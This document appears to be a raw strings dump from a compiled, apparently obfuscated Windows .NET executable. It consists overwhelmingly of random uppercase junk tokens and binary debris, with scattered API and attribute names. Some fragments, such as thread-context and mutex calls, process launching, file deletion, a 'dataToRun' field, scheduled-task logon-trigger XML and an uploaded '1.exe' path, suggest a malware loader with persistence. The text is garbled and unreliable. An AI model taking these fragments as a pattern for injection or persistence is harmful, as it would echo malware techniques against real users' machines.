mJ[DJHi@QSL[QBH
DTUXNZYFAWR
RSDS
UVUKTHWO
NNYHELUKX
XCNLMDW
CJRYINISQSC
PGOGRHT
vKSMD
NUULLHO
PPTZZBVHHNY
HDBFJLHQUZG
ASJHMX
AWYSDWUUCZ
W8Mgwd
EKMGGEL
JSKCLHAIP
AYQJBBXKTQMZ
KEESDN
NVHMCKAZVE
RSALLMAID
FWNSXY
L[^_
RSRLSS
DNNYNGEY
QNUMTO
aRT&
$ uR
ZLAXSUH
IN+F
HXZWRG
EKIEBPPRHHKV
LZGSTE
MHDTNRMMCVE
YBJKXCUPDXZD
SBAVFRUKM
QNXNEHDO
CWZLCXGKWKIR
ZHLOXSAXECFZ
OFCLKNEZV
WZYFDNWWQGWU
PQDR32.-Kz
STCXINFCXQGM
ZIRYKY
TQQMETNWKNDV
DYEEFQ
PZMLRAEBI
KYJIMGVgCHVRHCPIWGH
UNIMWZ
lWC\H
UXRONRRX
T$01
XTUUURROXQG
GZCSLOENMPVI
GHCCEM
ZLSCJXVRTHPT
RCWITNG
FEESOQWDDH
ERTPSR
IJFLNDCVAIG
OFO o\RRH
ACVJVDHEXH
DUMAGRHQHY
UAAMCXNUZY
GKTXBUYDFZQ
KSETCT
HSLGAWCQEACJ
NSLHKQFYW
NZVDILRL
EETKDJXO
S}2
BIQRPA
xFn4T50S\shp(>mf7.4R4
OUWXESBDYY
SSVMZNF
JINTHPQXUCUI
EENSCRSFXO
TCJFZYEGW
IPZOWPLCF
XUORRBFM
z\MCPUuAMMDS
RIPQTNHTBMW
QUNJAJOESPVJ
EXRZXD
GNJIOC
PPIHNRIT
UOTVAI
NKFJBYPKQLRY
HEWBES
HXRHRVQTQ
MWKVASKMFKXI
WGPZARG
SYSOAR
YTWWBR
XMWWWSQNVLE
LULTIF
AGQKESZLFDIG
KZOSJUATLTUI
CQKFYYDDIOZ
IRJKYZHRFKHP
HLSHDVM
LIURJA
Ar43l63g4R3YW0d3
TTOBBHPVYJ
MTBUDETLJA
PP dQML
VLWQLNYWZRZ
DGGVNJXBSG
VKLFTLRYF
FLOATIN
BJHITRJH
PDOZHPKDHQA
NLNBIB
& Q7
G=]Qspgr
GJKCQETMTX
IJDUCVNCVY
LZKEHT
ETGAMH
TIXPE
& a
D$G+
HMKYAWTSFBAB
Kwg`teMutexA
& e
GOUVKSGHTBES
MDKEEFKIIJUA
DZMUFWRHCYB
MNAAZQJQI
D$G#
JHZKLBRL
RCFKRXFBIDFY
WDSQGSHZY
& Q
WBWHSN
FMTRBMLXVSG
XJMXNX
LHVPLBIKTOAE
TNWNUGQPKLAJ
RDNIZRWBL
~XBRCYXP
& _
HNRCBWNHMDT
EAUBYWRQR
D$G
System.Security.A.IqyvA6Ogxkn
JTLXYKL
ZDKUGTD
SIIUNE
SSSRIUWT
JEBDVAIEP
& Qs
N! kRA
KKTGQQVH
AJWQUE
KPOSFD
TFIQRAPSR
FRJJENFWNX
=3'I!`
& Q~
CBJDJY
TEAAKHNFXSH
D$Gl
&r:}
OZDLTAUJPSY
e_res1
CJHHNGVECUKF
DWORJVGNGOC
YTSXN
gLLCZCu@CIDSBITJFX
WPWLYV
GUFCPRKPSS
CGFYQVLMU
^DGBZ
JBNQHGNOML
CKWJI
OGIVTM
KBSUFN
CJEES
YINLCM
XYQUIXZCWQI
@PSJTI
O wZ^NLG
RFZSGMIIUA
VETNXT
XRZTZKJSYUHX
VMEARGEL
LIINX
HCPYBN
D $h
.ida9K
YUZEWLAL
VRUTSIMVE
JEUGYHBEM
QSIIPHX
get_UTF8
DECTAGUJOKYO
VEZEKJGXQVG
GetBytes
KIJMHTPWBFL
IQFWIL
TATFMZKKJD
PETMPBRTWRHJ
ODUTAI
p <_
GQVBSRQAWZD
BBCHZ
SizeOfStackCommit
ELNUND
*2(
JXPCXJEQZ
WCRHA
DLASGH
KHRPRGEKZBX
CGRLZT
BIDZW
JPTIOMVYIRPA
NTAOGD
DGZWQ
- +
NLURSMQKGFY
AHTLRX
p G=
BVVWZHHOEOMN
NXTCOF
DjW 5
!xq
TEYHRJACAW
VgfSetV4K`mAz@
PHJXYLDGUX
OHJJFNZTORQ
CSWAHAZEXG
HXXHDF
UUAOQBR
ZGONSG
*t w
OHFOPW
XVAFHHUT
%%,46
LTJPTTHGC
BKKBOI
NYCCWSBIU
XWCRG
EVQVGFXXY
VKIIEKPNAMHE
S&m
Y-J
EQCRPG
AFLEDM
BIUBFU
BROTQMXVV
AHIWICFVJWPS
HBZXHAUJHNNK
OCVWPAKUOPWK
NGLGZAS
XRAXCW
DVHKPG
p Gn
FHSFIOITG
p Gs
XMPLROMC {]Q
PLLHVR
VWHMOMUFGMMQ
}GNAE
QOYQWGU
UOWLVVULCFIM
YHVAESAELYDK
EPRGCIVM
WBJWX
WWBGHHANBRDL
YMNQAENPWEW
IEJYXYXW
uR&^0UXWi>
RXAJEOQI
TLTVVY
LYZEBVQCZZRU
YQMFSPBVFW
AVRYDOVBPPE
DYOQDKIXYWEV
GFFCMBCVTC
EIZBDSWXJUXM
QTTJKXZGARSG
KTWHKZIBPD
E <a
BYAYZJUOOTY
UEVRBOCICZOF
TYADBCPNV
EOWRZ
GKFVSCTBDC
ZWUDEFHVZHZ
f^ZLX
GFIILYLYBI
ZOIQHOZZIKI
ENCJRTIDKP
PMFBU
DVBIUVSJRRV
HWVLPAGERFLF
EGKGMJJIGKYG
FRPNRPRVAHJ
LJRVPGAQAZE
PUWTHX
SAXZDULGQIY
NNBLJLPXBI
) x`
AHLWCNDUJO
SLJNHNSR
XZGJTW
HVNHHGJNFX
WXZNJ
QOXNWC
HPXWU
YSMMJPVXR
ZDKC
SUUKOF
DRAPLHUKPWXB
IDQCLCGDATK
UOYPUZ
AICUGIJLX
XDXQWCD
MZBMNQEIQPHG
OYWPQNNNFCJT
{'A b'
IUPTMERPQ
PIQTQTZAGKD
NEXKW
HDLEXP
Debuggin5gzn`qOj
ZFNXOYGIRAY
TNVSFTJYVD
SOOJJGX
ZXKJNKKOG
YZRBYATRX
&rkJ
ANSZUO
JNELPX
AEPEBOAHR
LCCMBIFHZWTV
N$u %
HDEUJJ
CYKKKZUFEH
"0@&Qr
ZwmbessStartInfo
RVZLWXK
XYEVITZHCYSS
%7$VC
XUZADV
YZSEUPI
RZHECS
UIDGJVWPGJB
XSDWQB
JZTXEHUYZY
UUWHHSOKASAL
IHUVM
&rW@
AJYXMTRZXRA
HCSQQGTUKRGV
[OMBSZ
ZQYNSCPQCF
XBRFJDOZ
UOZGZ
JBGUNO
& 2P
&rWX
KODIXO
RJBPZDPEPRIT
&rW\
ISEVGU
RGZDMF
WQVHLLSZY
VAYHXLBDPUE
SUCGYGQLAPFF
UFBTBWUJDRNF
MEGCDB
EQWXPVUQOQ
BHJJLW
T~("
HWRCTOZFL
!&.37<
pers
VHMNDHRQSPVR
& 2z
)Zql
PXWRGQIHMUN
LHTQZVNSZWOQ
HPWEQA
(9 "
YTPZJRFUYFBD
UDNWFK
['q<
VOQBRI
, |g
XWCIFPGPUJAL
bzm`go>false</Hidden> u
BXNYZAUGBXHJ
VMFZWY
REGXNTL
BTKZXWCR
OTOANL
8aAX
RETWJDMXSSL
VVTEATEVSQ
JZWDNF
RFFEYYCM
ABCPCD
CQLFG
WFUEMVCIXAOV
Ei rPbCfmW0ZM5C5Q6jf
LRLLACLXP
BFJEUKKWLEYU
BALNAQFYLCF
CXGEXKXK
XBRAYFHN
ZWIJCKJWDKRI
SGTQZL
RZJWSYQXNBWD
yQPPK
JIKJQVJDRU
ZPADCFB
LrMUY
RKNTAESTZKAG
UHXYDUWIOIX
ZRBSGFMKUK
SFBZE
HKYYLYXBSXUJ
GIIOKICXF
&rW<
&rW?
&rW>
LZUQML
HOGKUJXQNLK
UNPCCSXCQJ
Dp*H
HYJWSO
XKTJRFBJELMB
EHOZIZE
UHOYKQ
NMEYYN
OAQNN
CFBSEVILYYJG
VCTMFOAVH
UTHLYXMWEAX
CRQZJZBCKT
PATPUY
VUWCSNYLRP
MLRJBWUWTDC
FYNGFGMCPQZO
ZRTHPOVGR
HPTDFV
t#H'
VVNWFHHGH
XKTRPNGZ
hXCJDIBFLA
ZUVFDZ
MCUBQT
PGWDC
JQDFIGMMKQME
F%8
3G 3
KVVEXT
LZDPPHKW
BRDGFDJNTYV
WBZDGI
POWLY
SUZRYNIDMZFS
dja`tion
CZIGC
OAFQXU
Exc+\abjl
DRIGFADQBAOO
GWLSJQPDJW
IBLRWAEDT
p dS
KRDNNO
p dW
SPBRGR
SVGTI
BNFAST
PQVCD
SCQTQUQ
IZLVDVRWHU
YZXAY
@& $aA
BPFKLGIQQOM
ATOBZEQDY
VOJIAOAVIAOA
DDXWRIX
WFYTLGTTEWPJ
PDHQKOW
IGWIFCOVBRM
NPDNQHCXZHY
RPZYUF
QXIGYQB
JNLFQTUWLN
RDPXALHTQYPH
NTCDWUCAEESH
p di
RXDCHAMZD
Fnvqhon=2.0.0.0, CulturekIv~qp)F?(UwclicKeyToken=b77a5c5n
ZSIBERMTX
UGQPXQLPQIRF
+VTJ
TGIQOXGBPM
JXKPDHQLOWRH
AXCZQQBT
OPBQAA
BRNEOXHHPTNA
HVMXK
SJAWGB
JAOWBUSJI
NEZVKSD
BNHJDPYAJJB
EUZXCCHDRX
TSOUZEIIL
dKCJOVYZ
HZPFPA
%o%U*
MFGNGKLCNE
FWENAMFCAXF
vx>lkB\%6\
HGRHEW
GYLMFIAA
UIVBCP
XCHFLQ
LPBFTC
VGCVI
SQLREINQVO
$+SAX
NTHZUBON
HEUPML
T4 F
UPIUVRSDJRZA
m Tw
HOOATUDSZK
CATLSSJUD
\Z/$
NIOQCQ
GBWSDEEGBCHH
ICRRKRIVTCRG
KBHUQB
FESRCOH
MVPHIXLRWZZ
MKKS
JIISOD
W{;Upd+Qdcurity.Principal
YQLKWFN
'e7Rqc7g-
XQZPNE
c<D*
KWZUSVXAKHK
TUDUFUTQVPKI
XPWIIFRWBDED
FZUHF
NUYZK
HVSJHFXVQM
GLBWOS
Cs43l6k@"[7[15384;B#S27el3iG3G3y.Sii
EDXJBKLXIS
JMCLMD
nUGVT
VWBSASDYA
OIHDBZAJL
$@T*
TVEYVS
OASWWG
FKFCUJVTPWCB
TEDPQTZYUSMS
FEDDUEJPQXY
T4
ZVHRBCRM
JBUOTXZUAK
HSCYAZVWYV
XATJIXX
YTXBFQ
WHFAWIQOW
QNIFC
YQMNIXP
UDXOAOLFITSY
VOTIICJKIJM
NUVAOFBVPEPY
HEBEXOFVUGX
SCLKRGORSA
OjwlWindows
HGLRGU
XKPXVIROWVU
ZMGLWPEYK
FIVIRU
D$\*
D$\+
D$\,
M tv
UNWZDPOROU
OKWMGCAHU
ZBASZXQTIWYF
\[^_]
& z+
OUIJIR
D$\'
/FTJ
BHKDBKAGGF
Split
NYCADFHGQNE
OBUQPKSG
OVTLREJS
MTYGPT
D$\6
VMKMISKVEPVV
FTFRZPD
ONBSUI
FVVPMHCIGPB
QIKVUT
BBVMEK
RVRIEN
& z
LRKYOAPDEIZC
PDRVUT
CTOQDGLBF
7 "u
PVRFTTL
~Z[JN
OUPITX
XDTMDXZ
RCDXGJYK
LPSOCYYXPXNC
A6Ytggnx
IZUXH
dL^TK
JEZWLLYHGYXT
XKHJZC
JPNJVBYPVDN
AssemblyTitleAttribute
OMTRTORGFZ
XLLGUUUVRQSN
YCZWBYVEN
L$ 1
TWVS
MFVDYBYPHMH
VBYLTFMBOHF
IXDSJPHQRUY
UZRZOF
PRDGJIJLOIF
GPJSVXLZRKOW
YRDHFPQNQW
RFIOAORWTQDF
WBRAOY
PP1PP2
OISUYVJAVK
QERIDSGUGN
D$\J
EOPYGQ
XRCPEAUKRZT
RKXGDBZ
LKZIRAGFIBCO
DAXNHAIGELSX
UDDUJCPMMDPP
sTOV
$8ea66b40-46B$$04,
XNNDSPQSR
VAFIOMIJ
MCNQURNAYKRM
KEMHFVCERIQP
XTDGTXIHNZ
NYANSV
& zT
TXMKGHNRWFR
YFWSOEPXLQJZ
NDGJBWKZK
IWAKLX
OSEAGAHLUIP
ECGZSX
XLWKRCNZOHLF
TZMVYK
AXHPR
AYTIMEYWG
QVYMNX
FARWOCFPT
QUUTOO
CMYQFNERYWP
TZDYYLIIFME
GHCVNZPAX
UNEDXSMNNGD
ZBOXLKMYO
RFEMSZ
ABLTANNCUMZ
YNBHDGQLWRHR
SDZYEM
#&T)
b^Z^KJUBBB
SIMLRK
YAFMEB
GDHTROGBTV
MIFSRPVMOOHB
MCQGRPVTQGGJ
HKMBRQYVLQD
DIZDE
Ed5u6d0LCldD
KELSTFIAAKTR
PZWHLUXZVGKO
ZVWABXRDFBA
NEMSOZGNNNLG
ALLDLGMMKLEK
UTRBVH
LHCRHBTHLIVG
XPOTAE
CDMMHEEIN
HMKUQOIMCBNQ
Wow64GetTh0BumFm=Ywqq
sQZ\
WAYVFCYPOCKF
UETEMMDIDRAY
``R
D{ T[15VC6d.Sii
ZSWCTEGWWD
QJJBFXNURPNL
SHXFZA
KTFXB
CJOFY
BLGDEUK
I Xa
SJHNFP
LYKYD
XXDJTCKKTAQ
PBRHYRWU
ZRBNBMINVI
QZGWXIWPMNUS
EZLZLPUKLIX
BERRNB
BPKZNIBTQIZ
ZFSZIEMKYA
EEXNH
VEWZKA
GJGHLB
UDJXZLU
E$\s
YWCRG.exe
OKIEBFYHYILV
CryptHas2hq}d
QWZTSOKQA
BVNATLZUWJNG
TJKJTFXCOFVF
XNOZJ
CIRMF
AFHOFHB
DZXHPRURZEDX
EZYESEYBOYQT
PRXXLJVFQPBM
BUAISOYFNC
IYWACGY
JXBYBCC
CEFLUYGKST
IRKEQR
CJ cPR@WGP
ZDNTXKEULOK
UXMLB
WICWXBARGE
PSKVFL
EJNLUKIXNUR
QIMGWR
UAOYOEAIXU
QEVKOREBHG
QBDCZPQFS
IQYOBWFJNQYX
BQVLDPT
NY.
AddrO4}{gkg+mta`au
DEMCFSBTAV
AEJQCF
JXIKBKOTIWVE
F%,t41
System.IO
ZTDYCRAEJUH
MYOCNUQYHJHI
|$ L
RMVRY
VWNPGCMD
PDXCAVNDUNS
PILPIF
AJLGWZUETTE
RWKTABU
CPALIM
OJMEJZJLMF
UUBEJBKXK
I X}
JSMDGB
LBDTWBJ
UFLESTMPBXHD
JZWSBG
[ad1M&nY
FMRFFUSZN
HGMKJEDHLSTY
PCDITMNBW
"%s"
JFSPGGGGFK
AVAQHVSX
EMESHMUWXZJ
!m>PBld=*X
RLQZNQOVKXLE
C}fvQ7N`pwvdmVersion
FJATPXRXH
HVSJSSX
MPEIHY
LDENHFTCZXQ
HYGCNK
FQYPSE
JPQWDGYIGZOR
CTRRO
f[ NT[AQBYPNJAM
QBELOBRV
MXLKLZ
x^A_D
VWLRCFC
PEONRXHYIQ
XOEYYPYED
xj
YNNSWJQWBKB
ENRVXYENJ
QQHCWL
RROVZTOVP
Sh!^Dcjfnw
QBWZZPWVY
[$,/
LILMJCO
MGUUTUQBJ
<Module>
j]@F
VVRXEIERU
ENLAPDTWT
JBUSPSJIOGLK
SGBDMX
& _:
LEXNMXPBOHTT
UEDNMZ
PTSGMZIDKEVD
DWOLHXZBJ
Softwar7xX`gpnsoft
SSYRYR
DIUYGQ
CMEVUONAFM
YFPIQFXJFMN
EWXTHMMT
C^SQ
GKYNNO
QOWXIMPLYXP
TFEGXRNQLW
DBJOGDBAP
BAYVUYFFE
KBUZEI
XEQBLY
MLWRYFRSLG
PFNGB
TZIAZZIMWBCO
PVUYQW
XUCXVNASSFI
Y__]
<PS&
EMRUQL
VNQMFNKKSRTN
NHMDXP
UYOATLNHNJX
FELAKC
FRTRJARPX
DVDTPHZMX
get_Chars
RGHVTTYFCYYP
CNLJQIEYDQTJ
IYTIXXWWMBRG
YQYEXPUGZDE
|JQF
&r<t
& _y
LAHCCKNMXHKJ
KNROEU
UMYCID
&r<|
FDHSECPHSL
BHCCMBKJLKVT
CCYJQU
XRKSKEITIKZ
LDRMAU
QZKSQDVSS
VLAJHO
NRSUQCERFITN
ANDXCW
DVYPUWHUIQ
UXBNNQ
HRMHI
SectionAlignment
UAJYPAE
His:C`q
AHVIKHGOBLQF
&rOO
QLYBEZQMXCJN
PW+9
QKSVOTJL
TMRHGRGIAND
"VR.
KQDLG
)t!6|6
BOVLQHACFSFV
PZTHHH
GPHCEJMI
GGQBIHWSNO
FYOJCBBAG
LHAQFA
GWK@H
GRWPVC
JIDTQPINH
& _D
VFGDAYCX
TVYYRE
XBUAHSD
STUBQNAVFSQA
WUEWPUOXUGO
NHHYLBV
g*g (
L&F
ADMENDBMLSJZ
EWBXKISMIGHR
HAOARNAOVUGB
NGVBEPHIEO
PPKBWSDDTAMS
meN)
LTWCDXTGVPI
LMUIWC
GDUIMFGGI
TDVQYX
SRAWRHRNZXM
JLENJJ
MessageBox
EZOFID
CXOIZYZYHBN
CBEJFMEYORV
GIZHE
MMAVDNBEAT
JBVAHJXIXFCC
p I&
]%<tv
ZDJVIDXVRQ
XPHOWMVTMG
USKKER
ONEIRIJCCO
KKRNFK
GindC4Kco
BVCTXO
OSSMTFZSJ
BLYJIRNCPLRX
p I1
KNJJKFIPZJV
VGMYNMRYQ
MNHSTN
EIQJXGZCFAGX
p >
p IJ
HSSYBIBBZKJ
LJOLAJEXYC
NMXFCIFDJTVW
nFCVKD|_N]QH
YUUJQHYVDNPZ
WPMCSPUF
AZHOG
KDRYES
FVVHIVFLEV
ORYEIAMC
RBQZBHOC
OAPLRTUFR
DGRZGU
XKSXHVDFLLSJ
MTTIHNSRLNQP
ZBFSUC
Q j\EJXHOEWF
YXXUPCSSBA
IGJEQB
UBXFSSWSYMQV
D:O!
YAGFBJ
DOQNC
OSHUZEOILMN
HWKQQYAY
p Ig
NOXTJQ
JTDBGE
URPSPKUETNG
TALSSLCJ
WUWJBTSNPCY
KNYOVTDXHLFJ
DQOVOEJHIXG
KNAJDVRI
disOidgfg<kvX}ocols
XUZPHBBCRF
AYUFCMVCNE
QHAZIIREKKNI
ARPEIUAVOLEX
BIKLQNQ
UWGDRQ
SZZIWPU
VDWKFXBIBCVH
p Ip
EXMKZLKIFL
fC\_Q
HNKSRTDFGA
JYYVLKQDRWAN
SOIDK
XSKUMF
PPNAYA
$$BA
XNZUKO
QSPFASKI
LJZENDTK
WSADZFE
QBVPXPYWR
QSQWJ
PABERC
UAVIDQYPUOL
YTIGUF
YJAKUUHS
'I[APBD
GDPAPF
INWDQLNEOENB
RSDRHOHKPPRJ
Assembly
NFYUSMVJIE
RZNMJTRSRYQ
BBQXKZ
PFSIGATSSXX
uExitCode
TKWTVLIK
ORULEJZ
{DES[XFBC
NKHLKEBWZDDG
CTJYIMNZG
SCRUJTSXZST
INCOHS
TUALV
VPKTDKRVXF
SAOJFVGPGSN
YKMXYAXA
VZEJZGVYWK
VKORRK
UNWBMEZLEYWO
RMLSBQGHP
MXQKESSFU
ZPWSZYYFI
WPNUSXWQ
yRFO
FHHZENPKTI
XZJRAAZQLKVV
LPQBIGZEUCL
kYMK@ *PFWRXGWPRNBX
SOZHYDGCNCD
JSHLM
TOWRABKOOYL
H'=
LVOKCQ
BGRWZPIKBKWN
ZBQEPYYRLZF
FYLEXKP
a%ZnetdCrit&DpfWgbtion
MKQNFEN
E} h43YsGhy.Sii
DYEPTILPBVM
YXAQKH
GVWBOAXBNNSR
JGBDGX
BOXHFDQUDSXU
DPGUWK
OROVNDWZCLXQ
DFLZBEEGNBD
gESDZ
TIMXZEDRALV
TCCIPXRHFXL
XMTMZW
KBWCFYKG
RORXSIEMS
HZSUEJLA
BQLNHF
DTCXJY
LAMWJMUKN
YWXARGCQTGD
&rYG
IGGRESFXMB
HEJSHA
& 0[
EOXVQ
AJVWABYSC
SUQMIK
MAYQIBLQD
& 0D
T'8i42g4R3 p#l6:5id3ih3G3y.Sii
VENDDWJSDDO
QJMGAVSQCCG
FREPO
GAXAPECLOQI
FOWNMISCR bV QJGEUTTNGJ
&rYT
&rYS
&rYR
&rYQ
XATJRWRPURM
YLEURQ
XVBFYZRAX
WXUSCBLRFSVY
CXCNUTQXLZX
FGLVQT
&rYi
LALHUC
.1 RC
WETLHI
SetC!UcdvRns
NSHTTHKHNBPY
VWXCKQGHYVSI
QVCXSFTLKG
CompilationRe"MjiqknnsAttribute
XTRVUEWRZTKE
AHDYJMFYKLN
KBOYEBKYSG
IXCUDWPFIEML
& 0j
ZQPME
&rYp
ZHVLYM
IJLMNGR
MCGLHH
ZASHUNXIWY
LRZXNURLKMA
CIOPEV
ZREXCMKSFHK
FTAFXCJ
FTWWPD
AYRFBOSA
DEYYQKBSIUOA
ZLQPZK
CQOAKUF
YHTWFF
ZSCHTNTY
GFVHOCBOPP
ZRWIBN
p |$
IHTLJILX
CrsemblyTitleAttribut+!Wzwg4F|sPp`demarkAttribute
XXWEXC
&rY/
CFIEDPXE
LJKAGLSHIOER
GetProcesses
EDNNHRP
DJKFHLVIFZO
&rY(
BQXIASPWNT
UQCASUIXOJ
QBXGESQDM
DNQJESPIDY
IAHFCID
HMKDUQLNFY
UEVQYDSOYI
RVSECNZMBBU
OHORCMJN
TXRAL
, |`
JATRHD
&rY3
X["
VPUAC
OENKZTOZHLWO
\QJ
DWXLVT
RRUNPMTXBWMV
p f#
DQKZMMLFV
WMAVRELNTCWR
YYTTQRKSAEF
DMXXCVJAP
XDAJUNLOK
FJCCRYVKWDF
p f)
HFZYOJTD
JTRRJLBGVID
FJUMZCHC
LHHUNJ
BLKJVLCKU
VFJUJCCJKJ
WGPZPSMSG
37HwmtipleInstancesPolic:
WSJDSLR
TXHVYPPDKTGM
YOUBJE
YQGJUYGFEB
EUULPELJW
babaz
ESKVPCNOQPNK
DQHWBIRBF
NTMWJABU
XTELEC
param
DATNUY
AZICCWDBVB
RTNLG
JLMCDNEXOAX
QMVBQCYHW
JZMKEBKKJIRN
NNERQMUHOPBE
QERFUXFNEII
KXSGCTKLOEHC
VQPRXQ
YPNOEIH
AALBVDWVCL
VXIIJEEARFJP
RIMKGFCBJJFX
UBHEURPNPV
D$|l-
JZYVMTQNNJC
KSMNBL
YZUUPXBYIAN
VSAIo6_y
SPMBBNCKXJB
VHQXXRMF
RPCOTI
KTGBJPLBW
KAKOUNMPXKTF
TOCOGY
GVSZMUBOUVU
p01"
p fp
VMIVFLPXMIA
JJUWQXQPBG
p f|
PEWHAZ
p |:
MQIFGCXXRAO
LZIFCHEEB
FSXIJKMMNRYH
TCWQNKGPEE
UWHCBKO
RuntimeCompatibilityAttribute
70L*
SOSXRWFNNGBP
vT}2
ZBLTTFFSDUOH
TPHAZUSGWDE
ZDVXZPHPT
XRZMBUQRI
EESBPXLDUSKR
p fR
QDGGRHUPGM
Qp|,Rii
ZAEOI
ODYRTFXUH
DNTPNWWZVTYD
ZRMHTXP
GNORCVJOLZ
LIZLVGP
MMVSSDUETZU
VJOQWE
GZCJTHJNK
ZCDIOYRUZBJ
JKVNDHKM
LYPFCE
WPRQHXOBMQ
JCLLBKYM
ZATMUYAPD
CWBNBDBJ
System.Text.Regul9YSstp0Qfcklr
EJLJZBX
BJFLXK
WRGHGWIPDL
ZDYVDYOUCAJO
SVXXNQLP
AFRZDGQLQHHQ
QCAZSVYLH
YTSFGUIFWQDO
OJTKBH
OXHRUTI
KXKBQNYLZS
OZEOCSVZMYQQ
1/X)
T;|,Rii
FXERLOCYIRP
MCUOUTCLTJB
JHJIABJX
x#?`n]PdR5bg|04UXd66W0\y
LVRFXWQIG
DQYWSEMMXM
RSSAVSAVAG
IULCMGYROQWG
DBOYNNFEYRI
PGYTTOQL
GWTZQD
T$|f
o@@@_e
9GkO
EURETDWTKLC
RNODLAZ
QGJLBRXJDCT
SITYK
HMQVUI
EGIWK
DOUOQD
OPTFRGX
GVWBAYGY
RANZLZZENV
D$)"
FVQNSX
KXCWFFPKWB
BHXOBEVCNBJ
LGKMISI
RRXDW
eZ NM
VBCYQJEZZAQD
RDKREG
EPMUHH
VOCWQ
SHBQ
@JGCAWRTXUM
XMJFTQKGO
PQGOVZDTJOT
uREKVDXT
RXMDZ
RNFDEY
VLOFZU
AssemblyCopyrightAttribute
FSIGWDC
X$dQ
FRWGPQADTYF
Cs43l63g`p R572lC5IaCR9B1x.Sii
ZOEIDA
VTQPXR
XZOWBNWAZI
UPKXXU
& x,
DEXBTJGXUF
Dispat&B\ovq`geA
DPLWZL
ETLLSSMY
PRWNJY
R'}e
IGXESDPVOPCT
SAILSZXRH
&r!7
D$^'
MRLVOJWMRUGW
Y|}UpncessI
MLZBWU
CPMUNKCTTAGJ
D$^,
XYXHNDTBCWPT
FNGYPMEJXMBZ
&rvx
DVYOMTQNTQPU
QTKZLQBRNSDQ
TCQACBV
& x
IZHTVFYIKJPW
EGDSLVSCHAZU
FXVERKIPJVX
SFUSOG
&r!
XZDHPHCNCWU
OWVJPWX
dataToRun
PNFUERGL
Se7j{gaCutrib:XsyE
JLQFGU
ECZIK
EMLJFBMQSA
WCDDNHJAYUW
VYSDQTKBK
DeleteFile
YUDGSTBKVO
VIKNQN
ZVIYKM
ZVIYKN
&r!o
CKSFEPPBMMA
YXYIPXWMAUNI
CIAAU
&r!j
e[@^
HTDDTMNNC
CQDSBKDFHEI
JMMTRJ
CGRUGP
POSJEPO
VPQOONV
oA_CD
& xv
HDERUXGXIN
![\J[
NWHDTA
YTYLJHCJLWBN
ZAITRSSNIX
& xN
p&-H
ECCMUBKP
EQKLQMLOCSP
VZJAXIGBYN
& xI
BWZDDE
&r!N
HQVGNRGKJWM
RZOQPMPWEJUD
EFIQZNNAJG
FGHWBURZPOSO
QPTYQZTCKX
TDOKYDVKT
&r!_
XCMDAIKCU
OWGXBQRBBPBR
MPWKSXQRWATJ
&r!Y
& xQ
LXJTVC
CIELFG
QFPMPS
UIEDCM
NBGHWYPTRQJM
CKSSYY
RNTRMHQ
SIJNAP
ZJHTHM
GUUBSKNWCYYH
DEQXDBZE
uUBWX
jRKANO
FESSBHIAK
YCGBZHJ
LCHDJP
HZDUYOV
(/U)
VUCZANWHAE
BBYPVH
WLWNBYTLOFI
NCJVJQTVNE
Piqknns> </Task>
FVRRTQYQFD
UQGPLUOQKFX
XLVPZSRUTT
`Y[H
TZRTRMCRHZV
WJNRGKRLJH
ZHUTRP
DSDOLYTHFO
PJZLZZPMLVCC
SERQHCDP
SFHKIG
TMUZESTKTIV
DNTRFO
RTPTSFWKPGR
JDRCDIB|]PWF
FZLUBEVOAA
TWYITMWFANQA
QHPKC
zUXMLL
NCUQOAAXTBX
XSTXC
Z|U
TNPXPC
CSUPHPQH
VALSCVVKS
ESHQHWRQC
MMFAVPFE
KOFVZIO
LYIHJZHIT
YFOLBAIUL
RdekNamedPipe
;;`-$.2d/%d %.2d:%.`I(,+0e
WBQEB
IKVSRK
VZGKKP
SGANWWJK
KHEXA
NRRTMPGQYKE
c2P
'\HRWYTWI
)QYPC
NQIQZLOGGJC
lpCurrentDi Av}kp ,Flbkrtry
KYQDDRGVGXEM
IOQRRBLSEZKR
QECPUKT
YKALNT
NJNUGHTG
nSize
C#4/
WZTMJS
PSGZHAK
FJRTLWL
XPNJFV
JPVCGTAYZWC
JCPBJOBKUGMX
PSCBMCU
MNEMSJGKYOULXnMMQ@
DZZMWYKJQTLS
VUBJYDAUPXZ
t_Y]T
XDZUURKUJUCR
PGRPMAQNYMVI
WCKHTVTVDDAM
FPXHYA
JUHZKWEG
RXHHYTYWNXN
NSAKSSUTWMLI
TPVVCRIIQR
GRFPUQKALSUL
VCZXRW
MXLGDZSWRV
CACIGQOBYJA
KYPRHG
YABXTFVBMQA
}E PVUUUQ
PiW6d UCq
GTXTFXOUSC
VLVZTBR
WJJHQEZSMKN
JZVYFFJFNLNC
SBFFTR
GWFEDGBHHYI
RDNSYRUA
ZCREUAYY
DCYHIWESZHJC
YKXQZFEKW
BCSZEYMKEHFB
DBLDW
VGBPWX
RBIZYB
JIDIEI
LHJIHS
CxapHd> </LogonTrig?Bd7
FGYFYVPKBNLX
LMYSABXB
OGdmlhtializedData
WYCWM
IEHQIM
ESGDBVVHD
CHLUVMXIZRQX
QMJJI
WFQHRRQPUSQ
GEWCXFFNPHG
ZOXCGLGNJTPG
BKDMYNVUUCWZ
MKULQI
IXNUCUDQAUNE
VUFZRBZOCVFJ
p @9
GZSYGFLFAPVC
XRKDCRUQFOGB
NEHURF
BQPDXZRH
ICURXNWMKWQ
x[NW
HEFRWTXGOJFE
oV050WRldR53iG3G3ym
ODYBGMUIJITD
MNCGEABN
AHHWCM
VRVQXDLOVNK
TOGHQ
RJHXHVDE
IVRTXOO
B kS^LHUwXRLKK
GAXIG
VKCOYFYNIK
MMQXDFQEGLFF
AYGMMC
PNXFPIYHV
BNUNVJWBIGQ
YVGSTXWROO
BWBLNE
UXLQWGOVS
GAGSNONMG
NBHWKWTRQJ
hMGBZUv[\QKIPFX
ILXUJTU
IDPQHLYQZDJ
WSNQLFQEBHLO
ZLYMYA
VWMFCD
{bj,Qanel/temp/upload/1.exePr$
EEUOVVQDUJ
R.!v-
SZPUXFESFH
FMZWNWHFP
GetS&L`}prHnfoAIC
KSYOLKEJCA
CHUXLGZG
JCCMJ
BTNPRONAQY
KOUDP
RDLMCSGWKAYG
DDVJWEC
System.Reflection
D$b-V,-
IGENFBMPIG
IBNZWEOGVQPW
OXKQRAJUDXKA
& ]t
WMMMHA
BOMSM
FRIRWT
WWBLMCDZNR
APOBEXIYWKR
!;1-c
JPCLRMORW
QVJUW
& ]x
GHTJREE
YBBIVC
UJKOXJTHL
KWMOPG
&r>{
HKIYCH
&r>y
VRLIZK
PGGOTYHSS
JKEGWMQ
QIZHLX
NMUYXIRMZV
NVWUMU
IPQOCWELACJO
